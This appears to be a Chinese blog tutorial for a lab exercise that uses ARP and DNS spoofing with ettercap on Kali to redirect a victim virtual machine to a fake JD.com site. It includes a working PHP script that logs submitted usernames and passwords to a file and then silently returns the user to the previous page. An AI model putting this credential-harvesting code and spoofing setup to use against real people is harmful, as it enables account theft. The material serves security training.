DNS欺骗与钓鱼网站

原创已于 2024-12-17 13:35:20 修改 · 1k 阅读

19 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#网络 #安全

于 2024-11-29 20:55:09 首次发布

本章节主要利用中间人攻击，DNS欺骗，实现被攻击者访问钓鱼网站，并实现收集被攻击者的登录用户名与密码。

一、实训内容：DNS欺骗、ARP攻击及钓鱼网站制作二、实训背景

钓鱼者运用社会工程学（social engineering）知识诱骗受害者，以在未授权情况下获取对方的姓名、年龄、邮箱账号、甚至是银行卡密码等私人信息

钓鱼往往和社会工程学相结合进行诱导，而社会工程学是黑客的内功，能否灵活运用可以体现一个黑客的个人修为，所以说“防人之心不可无”这句话并非没有道理，凡事不要害人但是总要留个心眼否则最终受伤的就是自己。

一、实训内容：DNS欺骗、ARP攻击及钓鱼网站制作

二、实训背景

钓鱼者运用社会工程学（social engineering）知识诱骗受害者，以在未授权情况下获取对方的姓名、年龄、邮箱账号、甚至是银行卡密码等私人信息

社会工程学黑客常见伎俩：电话号码欺骗、利用坏消息作案、滥用网民对社交等网站的信任二维码引诱、等等

本案例利用虚假的京东网站，并且使用DNS与ARP欺骗手段诱使用户输入真实的用户名密码。

三、实现目标

使用kali系统模拟攻击者，利用中间人的攻击手段来对受害者进行DNS欺骗、使受害者通过访问假的京东网站，来获取用户登录的用户名与密码。

四、环境介绍及拓扑图

1、虚拟机软件

VMware V12.0版本 2、虚拟机

WindowsXP----模拟客户机

Windows server 2003----模拟公网的DNS服务器与京东网站服务器 Kali----模拟攻击机

3、Web站点素材

JD网站站点素材

4、工具

ettercap（kali自带）

5、实验拓扑图

6、站点素材关键代码

<?php


$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);

$content = "您已捕获京东账号及密码1个：" . " 用户名 " . $nam . " 密码 " . $pas;
$filed = @fopen("1.txt", "a+");
@fwrite($filed, "$content\n");



?>
<html>
<head>
<script type="text/javascript"> function goBack()
{
window.history.back() //后退+刷新
}
</script>
</head>
<body onload="goBack()">	<!-- 加载之后立即执行一段 JavaScript -->
</body>
</html>